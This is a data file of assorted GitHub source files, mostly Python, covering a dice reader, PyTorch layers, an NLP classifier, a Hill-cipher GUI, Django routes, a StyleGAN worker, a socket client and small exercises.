+{"seq_id":"20798354185","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Sep 14 21:51:01 2017\r\n\r\n@author: kram\r\n\"\"\"\r\n\"\"\"\r\nread txt.file specifying dice\r\n# dicename\r\nside, weight\r\nside, weight\r\n...\r\n# dicename2\r\nside, weight\r\n...\r\n#\r\n\r\n\"\"\"\r\nfrom dice import *\r\n\r\ndef fileReader(fileName):\r\n# open file\r\n    with open(fileName +'.txt') as f:\r\n        # initalise top level dict\r\n        toplevelDict = dict()    \r\n\r\n        # read text as list of lines\r\n        lines = f.readlines()\r\n        # strip ws and empty lines\r\n        cleanLines = [l.strip() for l in lines if l.strip()]\r\n        # find elements with # as first symbol and create list of indices        \r\n        hashIndices = [i for i,x in enumerate(cleanLines) if x[0] == '#']\r\n        for i in range(len(hashIndices)):\r\n            # name of dice\r\n            diceName = cleanLines[hashIndices[i]].split()[1]\r\n            # all contents of the dice as assigned in file\r\n            if i != len(hashIndices)-1:\r\n                diceSides = cleanLines[hashIndices[i] +1 : hashIndices[i+1]]\r\n            else:\r\n                diceSides = cleanLines[hashIndices[i]+1 :]\r\n            # split sides and weights\r\n            diceSides = [d.split() for d in diceSides];\r\n            diceWeights = [int(d[1]) for d in diceSides];\r\n            diceSides = [d[0]for d in diceSides];\r\n            # generate dice with name and sides\r\n            #print(toplevelDict)\r\n            toplevelDict[diceName] = dice(diceSides, diceWeights)\r\n            # example roll with created dice\r\n        # return dice dic\r\n        return toplevelDict","repo_name":"HedwigMueller1337/EpicGameWTF","sub_path":"fileReader.py","file_name":"fileReader.py","file_ext":"py","file_size_in_byte":1558,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"37533489781","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[34]:\n\n\nN = int(input())\nrooms = [0] + [int(input()) for i in range(N)]\n\n\n# In[38]:\n\n\nresult = []\nfor num in range(len(rooms)) :\n    if num <= 1 : \n        result.append(rooms[num])\n    elif num == 2 :\n        result.append(rooms[1] + rooms[2])\n    else :\n        result.append(max(result[num-1], result[num-2]+rooms[num], result[num-3]+rooms[num-1]+rooms[num]))\nprint(result[-1])\n\n","repo_name":"yunkio/Study_tobigs12","sub_path":"week9/HW/week9_1_윤기오.py","file_name":"week9_1_윤기오.py","file_ext":"py","file_size_in_byte":425,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"70526158132","text":"# pylint: disable=no-self-use\nimport torch\nimport torch.nn as nn\n\n\nclass View(nn.Module):\n    def __init__(self, feature_length):\n        super().__init__()\n        self.feature_length = feature_length\n\n    def __repr__(self):\n        return f\"View{self.feature_length}\"\n\n    def forward(self, x):\n        \"\"\"\n        Reshapes the input according to the shape saved in the view data structure.\n        \"\"\"\n        batch_size = x.size(0)\n        shape = (batch_size, self.feature_length, -1)\n        out = x.reshape(shape)\n        return out\n\n\nclass Squeeze(nn.Module):\n    def __init__(self, keep_depth=False):\n        super().__init__()\n        self.keep_depth = keep_depth\n\n    def __repr__(self):\n        return \"Squeeze()\"\n\n    def forward(self, x):\n        \"\"\"\n        Squeeze unnecessary dim.\n        \"\"\"\n        batch_size = x.size(0)\n        if self.keep_depth or batch_size == 1:\n            x = torch.squeeze(x, 1)\n            if len(x.size()) == 2:\n                x = x.view((batch_size, -1))\n            elif len(x.size()) == 1:\n                x = x.view((batch_size, 1))\n            return x\n        else:\n            x = torch.squeeze(x)\n            if len(x.size()) == 2:\n                x = x.view((batch_size, -1))\n            elif len(x.size()) == 1:\n                x = x.view((batch_size, 1))\n            return x\n\n\nclass SwapLastDims(nn.Module):\n    def __repr__(self):\n        return \"SwapLastDim()\"\n\n    def forward(self, x):\n        \"\"\"\n        Swap two last dims.\n        \"\"\"\n\n        batch_size = 1\n        if len(x.size()) == 3:\n            batch_size = x.size(0)\n\n        shape = (batch_size, x.size(-1), x.size(-2))\n        out = x.view(shape)\n        return out\n\n\nclass ExtractLastCell(nn.Module):\n    def __repr__(self):\n        return \"ExtractLastCell()\"\n\n    def forward(self, x):\n        \"\"\"\n        Extract last cell for RNN\n        \"\"\"\n        out, _ = x\n        return out.detach()[:, -1:, :]\n","repo_name":"duyanhpham-brs/XAI-Multivariate-Time-Series","sub_path":"utils/training_helpers/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1932,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"21"}
+{"seq_id":"35363068663","text":"import re, pickle, sys\n\nimport pandas as pd\n\nfrom sqlalchemy import create_engine\n\nimport nltk\nfrom nltk.corpus import stopwords\nfrom nltk.stem.wordnet import WordNetLemmatizer\nnltk.download('stopwords')\nnltk.download('wordnet')\n\nfrom sklearn.pipeline import Pipeline, FeatureUnion\nfrom sklearn.multioutput import MultiOutputClassifier\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.model_selection import train_test_split, GridSearchCV\nfrom sklearn.feature_extraction.text import CountVectorizer, TfidfTransformer\nfrom sklearn.metrics import classification_report\n\ndef load_data(database_filepath):\n    '''\n    Loads data from the passed in path via SQLite\n    \n    Parameters: \n    database_filepath (str): The path to a supported database. It must have a table titled 'InsertTableName'\n    \n    Returns:\n    series: The X input text to be analyzed\n    dataframe: The one-hot encoded target Y values\n    list: The names of the columns or 'categories'\n    '''\n    \n    engine = create_engine('sqlite:///' + database_filepath)\n    df = pd.read_sql_table('InsertTableName', engine)\n    X = df['message']\n    Y = df.drop(['id', 'message', 'original', 'genre', 'child_alone'], axis = 1)\n    return(X.values, Y.values, Y.columns)\n\n\ndef tokenize(text):\n    '''\n    Cleans and tokenizes text\n    \n    Parameters:\n    text (str): Arbitrary string to tokenize\n    \n    Returns:\n    str: A string with numbers, symbols, stopwords removed and lemmatized \n    '''\n    \n    # Replace punctuation with spaces and make the case all the same\n    text = re.sub(r\"[^a-zA-Z0-9]\", \" \", text.lower())\n\n    words = text.split()\n    \n    # Remove stop words\n    words = [w for w in words if w not in stopwords.words(\"english\")]\n    \n    # Reduce words\n    lemmed = [WordNetLemmatizer().lemmatize(w) for w in words]\n    lemmed = [WordNetLemmatizer().lemmatize(w, pos='v') for w in lemmed]\n\n    return(lemmed)\n\n\ndef build_model():\n    '''\n    Generates the pipeline and model\n    \n    Returns:\n    GridSearchCV: A pipeline that countvectorizes, tfidfs, and contains a RandomForestClassifier. GridSearch parameters included to tune th model\n    '''\n    \n    pipeline = Pipeline([\n        ('vect', CountVectorizer(tokenizer = tokenize)),\n        ('tfidf', TfidfTransformer()),\n        ('clf', MultiOutputClassifier(RandomForestClassifier()))\n    ])\n    \n    parameters = {\n        'clf__estimator__n_estimators' : [100],\n        'clf__estimator__min_samples_split' : [2],\n        'clf__estimator__min_samples_leaf': [1] \n    }\n    \n    optimized_model = GridSearchCV(pipeline, param_grid = parameters, n_jobs = -1, cv = 2)\n    return(optimized_model)\n\n\ndef evaluate_model(model, X_test, Y_test, category_names):    \n    '''\n    Performs column based validation of a model. Used for multi-output classification. Category names should be in the same order \n    \n    Paramters:\n    model (BaseEnsemble): a trained sklearn model to evaluate\n    X_test: tokenzied text used to test a model\n    Y_test: one-hot encoded multi-output results to be be predicted with\n    category\n    '''\n    Y_predict = model.predict(X_test)\n    \n    for index, column in enumerate(category_names):\n        # Pretty print title\n        print(column.title())\n        print('----------------------------------------------------------')\n        \n        # Select the current column and all rows from test and predicted datasets for classification\n        print(classification_report(Y_test[:, index], Y_predict[:, index]))\n        print('')\n\ndef save_model(model, model_filepath):\n    '''\n    Save a trained model to the file system. This uses Python's pickling process to save the object's state.\n    \n    Parameters:\n    model (BaseEnsamble): The trained model to save\n    model_filepath (str): Path to where the pickled model will be saved\n    '''\n    with open(model_filepath, 'wb') as file_handle:\n        pickle.dump(model, file_handle)\n\ndef main():\n    print(sys.argv)\n    if len(sys.argv) == 3:\n        database_filepath, model_filepath = sys.argv[1:]\n        print('Loading data...\\n    DATABASE: {}'.format(database_filepath))\n        X, Y, category_names = load_data(database_filepath)\n        X_train, X_test, Y_train, Y_test = train_test_split(X, Y, test_size=0.2)\n        \n        print('Building model...')\n        model = build_model()\n        \n        print('Training model...')\n        model.fit(X_train, Y_train)\n        \n        print('Evaluating model...')\n        evaluate_model(model, X_test, Y_test, category_names)\n\n        print('Saving model...\\n    MODEL: {}'.format(model_filepath))\n        save_model(model, model_filepath)\n\n        print('Trained model saved!')\n\n    else:\n        print('Please provide the filepath of the disaster messages database '\\\n              'as the first argument and the filepath of the pickle file to '\\\n              'save the model to as the second argument. \\n\\nExample: python '\\\n              'train_classifier.py ../data/DisasterResponse.db classifier.pkl')\n\n\nif __name__ == '__main__':\n    main()","repo_name":"nilArray/Disaster-Response-Pipeline","sub_path":"models/train_classifier.py","file_name":"train_classifier.py","file_ext":"py","file_size_in_byte":5026,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"33898514133","text":"from typing import Any, Dict, List, Type, TypeVar\n\nimport attr\n\nfrom ..models.unit_of_length import UnitOfLength\n\nT = TypeVar(\"T\", bound=\"LabelDimensions\")\n\n\n@attr.s(auto_attribs=True)\nclass LabelDimensions:\n    r\"\"\"Dimensions for printing a shipping label.\n\n    Attributes:\n        length (float): A label dimension.\n        width (float): A label dimension.\n        unit (UnitOfLength): The unit of length.\n    \"\"\"\n\n    length: float\n    width: float\n    unit: UnitOfLength\n    additional_properties: Dict[str, Any] = attr.ib(init=False, factory=dict)\n\n    def to_dict(self) -> Dict[str, Any]:\n        length = self.length\n        width = self.width\n        unit = self.unit.value\n\n        field_dict: Dict[str, Any] = {}\n        field_dict.update(self.additional_properties)\n        field_dict.update(\n            {\n                \"Length\": length,\n                \"Width\": width,\n                \"Unit\": unit,\n            }\n        )\n\n        return field_dict\n\n    @classmethod\n    def from_dict(cls: Type[T], src_dict: Dict[str, Any]) -> T:\n        d = src_dict.copy()\n        length = d.pop(\"Length\")\n\n        width = d.pop(\"Width\")\n\n        unit = UnitOfLength(d.pop(\"Unit\"))\n\n        result = cls(\n            length=length,\n            width=width,\n            unit=unit,\n        )\n\n        result.additional_properties = d\n        return result\n\n    @property\n    def additional_keys(self) -> List[str]:\n        return list(self.additional_properties.keys())\n\n    def __getitem__(self, key: str) -> Any:\n        return self.additional_properties[key]\n\n    def __setitem__(self, key: str, value: Any) -> None:\n        self.additional_properties[key] = value\n\n    def __delitem__(self, key: str) -> None:\n        del self.additional_properties[key]\n\n    def __contains__(self, key: str) -> bool:\n        return key in self.additional_properties\n","repo_name":"milyord/sp-api","sub_path":"sp/merchant_fulfillment_v0/models/label_dimensions.py","file_name":"label_dimensions.py","file_ext":"py","file_size_in_byte":1855,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"16348779280","text":"import tkinter as tk\nfrom tkinter import messagebox\nimport numpy as np\nimport sympy\nfrom sympy import mod_inverse\n\n# 鍵の生成\ndef create_key():\n    n = 95\n    max_prime = pow(10, 3)\n    min_prime = pow(10, 2)\n\n    while(True):\n        a = sympy.randprime(min_prime, max_prime)\n        b = sympy.randprime(min_prime, max_prime)\n        c = sympy.randprime(min_prime, max_prime)\n        d = sympy.randprime(min_prime, max_prime)\n        det = (a*d - b*c) % n\n        if(sympy.gcd(det, n) == 1):break\n    \n    a_box.delete(0, tk.END)\n    b_box.delete(0, tk.END)\n    c_box.delete(0, tk.END)\n    d_box.delete(0, tk.END)\n    a_box.insert(tk.END, a)\n    b_box.insert(tk.END, b)\n    c_box.insert(tk.END, c)\n    d_box.insert(tk.END, d)\n\n\n# 暗号化\ndef encryption():\n    A = 32\n    n = 127-A\n    try:\n        a = int(a_box.get())\n        b = int(b_box.get())\n        c = int(c_box.get())\n        d = int(d_box.get())\n    except:\n        messagebox.showwarning('エラー','暗号化鍵が間違っている、もしくは入力されていません。')\n\n    det = (a*d - b*c) % n\n    if(sympy.gcd(det, n) != 1):\n        messagebox.showwarning('エラー','暗号化鍵が正しくありません')\n\n    en_key = np.array([[a,b],[c,d]])\n    p_txt = input_box.get()\n\n    p_txt_list = list(p_txt)  # 文字列をリストへ変換\n    p_ascii_list = []\n\n    for i in p_txt_list:  # ASCIIコードへ変換\n        p_ascii_list.append(ord(i)-A) \n    p_len = len(p_ascii_list)\n\n    if(p_len % 2 == 1):  # 文字数が��数だった場合リストの末尾に0(スペース)を挿入\n        p_ascii_list.append(0)\n\n    p_arr = np.array(p_ascii_list).reshape(-1, 2)\n    c_arr_tmp = np.mod(en_key @ p_arr.T, n)\n    c_arr = c_arr_tmp.T\n    c_ascii_list = np.ravel(c_arr)\n\n    c_txt_list = []\n    for i in c_ascii_list:  # ASCIIコードを文字へ変換\n        c_txt_list.append(chr(i+A))\n\n    c_txt = (''.join(c_txt_list))  # リスト内の文字を結合\n    output_box.delete(0, tk.END)\n    output_box.insert(tk.END, c_txt)\n\n\n# 復号\ndef decryption():\n    A = 32\n    n = 127-A\n    try:\n        a = int(a_box.get())\n        b = int(b_box.get())\n        c = int(c_box.get())\n        d = int(d_box.get())\n    except:\n        messagebox.showwarning('エラー','暗号化鍵が間違っている、もしくは入力されていません。')\n\n    det = (a*d - b*c) % n\n    if(sympy.gcd(det, n) != 1):\n        messagebox.showwarning('エラー','暗号化鍵が正しくありません')\n\n    indet = mod_inverse(det, n)\n    a_ans = (d * indet) % n\n    b_ans = (-b * indet) % n\n    c_ans = (-c * indet) % n\n    d_ans = (a * indet) % n\n    de_key = np.array([[a_ans,b_ans],[c_ans,d_ans]])\n\n    c_txt = input_box.get()\n    c_txt_list = list(c_txt)  # 文字列をリストへ変換\n\n    c_ascii_list = []\n    for i in c_txt_list:  # ASCIIコードへ変換\n        c_ascii_list.append(ord(i)-A) \n\n    c_arr = np.array(c_ascii_list).reshape(-1, 2)\n    p_arr_tmp = np.mod(de_key @ c_arr.T, n)\n    p_arr = p_arr_tmp.T\n    p_ascii_list = np.ravel(p_arr)\n    p_ascii_list =map(int, p_ascii_list)\n\n    p_txt_list = []\n    for i in p_ascii_list:  # ASCIIコードを文字へ変換\n        p_txt_list.append(chr(i+A))\n    if(p_txt_list[-1]==' '):  # 最後の文字がスペースなら削除\n        p_txt_list.pop()\n\n    p_txt = (''.join(p_txt_list))  # リスト内の文字を結合\n    output_box.delete(0, tk.END)\n    output_box.insert(tk.END, p_txt)\n\n\n# ラジオボタンに応じて表示の変更\ndef check_rdo():\n    if(mode.get()==0):\n        run_button = tk.Button(text='暗号化実行', command=encryption)\n        invar.set('<平文を入力>')\n        outvar.set('<暗号文')\n        keyvar.set('<暗号化鍵を入力>　または　<暗号化鍵を生成>')\n        key_button.pack(\n            side=tk.RIGHT,\n            expand=True,\n            anchor=tk.NE,\n            pady=80,\n            padx=80\n        )\n    else:\n        run_button = tk.Button(text='復号化実行', command=decryption)\n        invar.set('<暗号文を入力>')\n        outvar.set(\"<平文>\")\n        keyvar.set('<暗号化鍵を入力>')\n        key_button.pack_forget()\n    run_button.place(x=260, y=208)\n    input_box.delete(0, tk.END)\n    output_box.delete(0, tk.END)\n\n\nif __name__ == '__main__':\n    # ウィンドウの作成\n    root = tk.Tk()\n    root.title('行列を用いた暗号')\n    root.geometry(\"350x300\")\n\n    # 表示変更用制御変数\n    invar = tk.StringVar()\n    invar.set('')\n    outvar = tk.StringVar()\n    outvar.set('')\n    keyvar = tk.StringVar()\n    keyvar.set('')\n\n    # ラベルの作成\n    key_label = tk.Label(textvariable=keyvar)\n    key_label.place(x=10, y=10)\n    bracket_label = tk.Label(text='(     )', font=('MS明朝', '50', 'normal'))\n    bracket_label.place(x=8, y=40)\n    mode_label = tk.Label(text='<モード選択>')\n    mode_label.place(x=10, y=120)\n    input_label = tk.Label(textvariable=invar)\n    input_label.place(x=10, y=190)\n    output_label = tk.Label(textvariable=outvar)\n    output_label.place(x=10, y=240)\n\n    # 入出力欄の作成\n    a_box = tk.Entry(width=5)\n    a_box.place(x=40, y=55)\n    b_box = tk.Entry(width=5)\n    b_box.place(x=90, y=55)\n    c_box = tk.Entry(width=5)\n    c_box.place(x=40, y=80)\n    d_box = tk.Entry(width=5)\n    d_box.place(x=90, y=80)\n    input_box = tk.Entry(width=40)\n    input_box.place(x=10, y=211)\n    output_box = tk.Entry(width=40)\n    output_box.place(x=10, y=261)\n\n    # ボタンの作成\n    key_button = tk.Button(text='暗号化鍵を生成',command=create_key)\n\n    # ラジオボタンの作成\n    mode = tk.IntVar()\n    mode.set(0)\n    de_rdo = tk.Radiobutton(root, value=0, variable=mode, text='暗号化モード', command=check_rdo)\n    de_rdo.place(x=10, y=140)\n    en_rdo = tk.Radiobutton(root, value=1, variable=mode, text='復号化モード', command=check_rdo)\n    en_rdo.place(x=10, y=160)\n\n    check_rdo()\n\n\nroot.mainloop()","repo_name":"Bunajirou/Cryptography_matrix","sub_path":"cryption_matrix.py","file_name":"cryption_matrix.py","file_ext":"py","file_size_in_byte":5927,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"32019051560","text":"from django.conf.urls import patterns, include, url\nfrom django.conf import settings\n\n\nurlpatterns = patterns('',\n                       # home urls\n                       url(r'^$',\n                           'home.views.home',\n                           name='home'),\n\n                       # authentication app urls\n                       url(r'^login',\n                           'authentication.views.login',\n                           name='login'),\n\n                       url(r'^register',\n                           'authentication.views.register',\n                           name='register'),\n\n                       url(r'^activation/(?P<token_id>.*)',\n                           'authentication.views.activation',\n                           name='activation'),\n\n                       url(r'^logout$',\n                           'authentication.views.logout',\n                           name='logout'),\n\n                       url(r'^new-image$',\n                           'adminInterface.views.newimage',\n                           name='newimage'),\n                       )\n\n\nif settings.DEBUG:\n    # static files (images, css, javascript, etc.)\n    urlpatterns += patterns('',\n                            (r'^media/(?P<path>.*)$',\n                             'django.views.static.serve', {'document_root': settings.MEDIA_ROOT}))\n\nif settings.DEBUG:   # if DEBUG is True it will be served automatically\n    urlpatterns += patterns('',\n                            url(r'^static/(?P<path>.*)$',\n                                'django.views.static.serve', {'document_root': settings.STATIC_ROOT}),\n                            )","repo_name":"LanguageOfPhotos/lop-web","sub_path":"backup/lop/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1642,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"38496326777","text":"\"\"\"\n    Returns the values splitted by houses for numerical headers\n\"\"\"\ndef split_by_house(headers, data):\n    values_by_houses = {house: {head: [] for head in headers} for house in [\"Gryffindor\", \"Hufflepuff\", \"Ravenclaw\", \"Slytherin\"]}\n    for i in range(len(data[\"Hogwarts House\"]) - 1):\n        missing = False\n        for head in headers:\n            if (data[head][i]) == \"\":\n                missing = True\n        for head in headers:\n            if missing == False:\n                values_by_houses[data[\"Hogwarts House\"][i]][head].append(data[head][i])\n    return(values_by_houses)","repo_name":"pvictor222/dslr","sub_path":"src_histogram/split_by_house.py","file_name":"split_by_house.py","file_ext":"py","file_size_in_byte":591,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"42183507173","text":"import os, os.path, re, sys\nimport time\n\nfrom .config import on_rtd\n\nif not on_rtd:\n    import tables\n    import matplotlib.pyplot as plt\n\nfrom configobj import ConfigObj\nfrom .starmodel import StarModel, BasicStarModel\nfrom .isochrone import get_ichrone\nfrom .priors import FlatPrior\n\nfrom .logger import initLogging\n\n\ndef starfit(\n    folder,\n    multiplicities=[\"single\"],\n    models=\"mist\",\n    feh_prior=\"local\",\n    use_emcee=False,\n    plot_only=False,\n    overwrite=False,\n    verbose=False,\n    logger=None,\n    starmodel_type=None,\n    ini_file=\"star.ini\",\n    no_plots=False,\n    bands=None,\n    **kwargs\n):\n    \"\"\" Runs starfit routine for a given folder.\n\n    feh_prior : 'flat' or 'local'\n    \"\"\"\n    nstars = {\"single\": 1, \"binary\": 2, \"triple\": 3}\n\n    if starmodel_type is None:\n        Mod = BasicStarModel\n    else:\n        Mod = starmodel_type\n\n    ichrone = None\n\n    print(\"Fitting {}\".format(folder))\n    for mult in multiplicities:\n        print(\"{} starfit...\".format(mult))\n        model_filename = \"{}_starmodel_{}.h5\".format(models, mult)\n\n        # initialize logger for folder\n        logfile = os.path.join(folder, \"starfit.log\")\n        logger = initLogging(logfile, logger)\n\n        name = os.path.basename(os.path.abspath(folder))\n        mod = None\n        try:\n            start = time.time()\n            if plot_only:\n                try:\n                    mod = Mod.load_hdf(\"{}/{}\".format(folder, model_filename), name=name)\n                except:\n                    pass\n            else:\n                # Only try to fit model if it doesn't exist, unless overwrite is set\n                fit_model = True\n\n                try:\n                    mod = Mod.load_hdf(\"{}/{}\".format(folder, model_filename), name=name)\n                    fit_model = False\n                except:\n                    filename = \"{}/{}\".format(folder, model_filename)\n                    if os.path.exists(filename):\n                        os.remove(filename)\n\n                if fit_model or overwrite:\n                    ini_file_path = os.path.join(folder, ini_file)\n                    c = ConfigObj(ini_file_path)\n\n                    if ichrone is None:\n                        if bands is None:\n                            bands = StarModel.get_bands(ini_file_path)\n                        else:\n                            bands += StarModel.get_bands(ini_file_path)\n                        ichrone = get_ichrone(models, bands)\n\n                    N = nstars[mult] if \"N\" not in c else None\n                    mod = Mod.from_ini(\n                        ichrone, folder, use_emcee=use_emcee, N=N, ini_file=ini_file, name=name\n                    )\n\n                    # Set feh prior\n                    if feh_prior == \"flat\":\n                        mod.set_prior(feh=FlatPrior((ichrone.minfeh, ichrone.maxfeh)))\n\n                    try:\n                        mod.obs.print_ascii()\n                    except:\n                        pass\n\n                    # # Prime the jit call signature?\n                    # ichrone.mag['J'](1.0, 9.7, 0.1, 1000, 0.4)\n\n                    mod.fit(verbose=verbose, overwrite=overwrite, **kwargs)\n                    mod.save_hdf(os.path.join(folder, model_filename), overwrite=overwrite)\n                else:\n                    logger.info(\"{} exists.  Use -o to overwrite.\".format(model_filename))\n\n            # Only make corner plots if they are older\n            #  than the starmodel hdf file\n            make_corners = False\n            for x in [\"physical\", \"observed\"]:\n                f = os.path.join(folder, \"{}_corner_{}_{}.png\".format(models, mult, x))\n                if not os.path.exists(f):\n                    make_corners = True\n                    break\n                else:\n                    t_mod = os.path.getmtime(os.path.join(folder, model_filename))\n                    t_plot = os.path.getmtime(f)\n                    if t_mod > t_plot:\n                        make_corners = True\n\n            if (make_corners or plot_only) and not no_plots:\n                corner_base = os.path.join(folder, \"{}_corner_{}\".format(models, mult))\n                fig1, fig2 = mod.corner_plots(corner_base)\n\n            # Make mag plot if necessary.\n            magplot_file = os.path.join(folder, \"{}_mags_{}.png\".format(models, mult))\n            make_magplot = False  # True\n            if os.path.exists(magplot_file):\n                if (\n                    os.path.getmtime(os.path.join(folder, model_filename)) > os.path.getmtime(magplot_file)\n                    or plot_only\n                ):\n                    pass\n                else:\n                    make_magplot = False\n\n            if make_magplot:\n                fig = mod.mag_plot()\n                plt.savefig(os.path.join(folder, \"{}_mags_{}.png\".format(models, mult)))\n\n            end = time.time()\n            if plot_only:\n                logger.info(\n                    \"{} starfit successful (plots only) for \".format(mult)\n                    + \"{} in {:.1f} minutes.\".format(folder, (end - start) / 60)\n                )\n            else:\n                logger.info(\n                    \"{} starfit successful for \".format(mult)\n                    + \"{} in {:.1f} minutes.\".format(folder, (end - start) / 60)\n                )\n        except KeyboardInterrupt:\n            logger.error(\"{} starfit calculation interrupted for {}.\".format(mult, folder))\n            raise\n        except:\n            logger.error(\"{} starfit calculation failed for {}.\".format(mult, folder), exc_info=True)\n\n    return mod, logger\n","repo_name":"timothydmorton/isochrones","sub_path":"isochrones/starfit.py","file_name":"starfit.py","file_ext":"py","file_size_in_byte":5602,"program_lang":"python","lang":"en","doc_type":"code","stars":112,"dataset":"github-code","pt":"21"}
+{"seq_id":"8172188117","text":"# -*- coding:utf-8 -*-\r\n# @Time : 2020-2-28 13:54\r\n# @Author: Henry.ZHAO\r\n# @File : TaskWorkerImpl.py\r\nimport torch\r\nfrom PIL import Image\r\nimport numpy as np\r\n\r\n\r\nimport cv2\r\nimport base64\r\nimport re\r\nfrom io import BytesIO\r\nfrom torchvision import transforms\r\nfrom . import model\r\n\r\n#入参，两张图，一个alpha,一个输出图片的h,w\r\nclass TaskWorkerImpler():\r\n    def __init__(self, taskid):\r\n        self.canTrain = False  # 是否可以训练\r\n        self.canPredict = False  # 是否可以预测\r\n        self.canSDk = False  # 是否支持sdk\r\n        self.model = None\r\n        self.device = None\r\n        self.taskid = taskid\r\n        self.gpucost = 2048  # 显存消耗以Mb为单位，根据任务自行修改\r\n        self.cpucost = 2048  # 内存消耗以Mb为单位，根据任务自行修改\r\n\r\n    # 需要你定制函数\r\n    def initImpler(self, initmodelparams):\r\n        # torch.cuda.manual_seed(1)\r\n        # torch.backends.cudnn.deterministic = True\r\n        # 初始化你的模型\r\n        # 绑定你的模型到指定的设备\r\n        # 加载你的模型权重\r\n        # 有用到initmodelparams 记得做合法性判断\r\n        model_state_path = initmodelparams[\"face_generate_weight\"]\r\n        model.g_all.load_state_dict(torch.load(model_state_path))\r\n        model.g_all.eval()\r\n        self.model = model.g_all.to(self.device)\r\n        return 1\r\n\r\n    # 默认函数不需要修改\r\n    def setDevice(self, device):\r\n        self.device = device\r\n        return 1\r\n\r\n    # 默认函数不需要修改\r\n    def getWorkerCost(self):\r\n        taskinfo = dict()\r\n        taskinfo['gpucost'] = self.gpucost\r\n        taskinfo['cpucost'] = self.cpucost\r\n        return taskinfo\r\n\r\n    # 默认函数不需要修改,图像转base64\r\n    # datatype默认表示img是PIL的图像，1的时候表示img为opencv mat的格式\r\n    def image_to_base64(self, img, datatype):\r\n        if datatype == 1:\r\n            img = Image.fromarray(cv2.cvtColor(img, cv2.COLOR_BGR2RGB))\r\n        output_buffer = BytesIO()\r\n        img.save(output_buffer, format='png')\r\n        byte_data = output_buffer.getvalue()\r\n        base64_str = base64.b64encode(byte_data)\r\n        return base64_str.decode()\r\n\r\n    # 默认函数不需要修改，base64转图片\r\n    # datatype默认表示是返回PIL的图像，1的时候表示返回opencv mat的格式\r\n    def base64_to_image(self, base64_str, datatype):\r\n        base64_data = re.sub('^data:image/.+;base64,', '', base64_str)\r\n        byte_data = base64.b64decode(base64_data)\r\n        img = None\r\n        if datatype == 1:\r\n            image_data = np.fromstring(byte_data, np.uint8)\r\n            img = cv2.imdecode(image_data, cv2.IMREAD_COLOR)\r\n        else:\r\n            image_data = BytesIO(byte_data)\r\n            img = Image.open(image_data)\r\n        return img\r\n\r\n        # 需要你定制函数\r\n\r\n\r\n    # base64datalist为图片base64数据列表根据你自己的需要转成你的PIL或者转成 cv2.mat\r\n    def predictPic(self, ):\r\n\r\n        latents = torch.randn(1, 512, device=self.device)\r\n        with torch.no_grad():\r\n            imgs = self.model(latents)\r\n            imgs = (imgs.clamp(-1, 1) + 1) / 2.0  # normalization to 0..1 range\r\n\r\n        imgs = imgs.cpu().squeeze()\r\n        image = imgs.squeeze(0)\r\n        image = transforms.ToPILImage()(image)  # reconvert into PIL image image\r\n        #image.save(\"result.jpg\")\r\n        output_pic1 = self.image_to_base64(image, 0)\r\n        myresponse = []\r\n        output_pic = dict()\r\n        output_pic['outimg'] = output_pic1\r\n        myresponse.append(output_pic)\r\n        return myresponse\r\n\r\n","repo_name":"Parallax-ZHAO/AI-projects-stylegan","sub_path":"TaskWorkerImpl.py","file_name":"TaskWorkerImpl.py","file_ext":"py","file_size_in_byte":3637,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"42912408406","text":"#!/usr/bin/python3\n# coding=utf-8\n\n\n# 接下来我们写一个简单的客户端实例连接到以上创建的服务。端口号为 12345。\n# socket.connect(hosname, port ) 方法打开一个 TCP 连接到主机为 hostname 端口为 port 的服务商。连接后我们就可以从服务端后期数据，记住，操作完成后需要关闭连接。\n# 完整代码如下：\nimport socket\n\n# 创建 socket 对象\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\nhost = socket.gethostname()  # 获取本地主机名\nport = 1234  # 设置端口好\n\ns.connect((host, port))  # 连接服务，指定主机和端口\n\nmsg = s.recv(1024)  # 接收小于 1024 字节的数据\n\ns.close()\n\nprint(msg.decode('utf-8'))\n","repo_name":"lykknd/java-ee","sub_path":"python/src/main/java/com/changwen/python/base/scoket/test1/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":714,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"73585561013","text":"\r\nage=[]\r\nn=int(input(\"Enter the number of members in your family :\\t\"))\r\nfor i in range(n):\r\n    p=int(input(\"Enter the ages:\\t\"))\r\n    age.append(p)\r\nprint(\"The ages of your family members is  :\")\r\nprint(age)\r\n\r\ndef chk(a):\r\n    if(a<18):\r\n        return False\r\n    else:\r\n        return True\r\na=filter(chk,age)\r\nprint()\r\nprint(\"The ages valid for voting are :\")\r\nprint(list(a))\r\n\r\n\r\n","repo_name":"dishantraut/Python_Mini","sub_path":"filter.py","file_name":"filter.py","file_ext":"py","file_size_in_byte":386,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
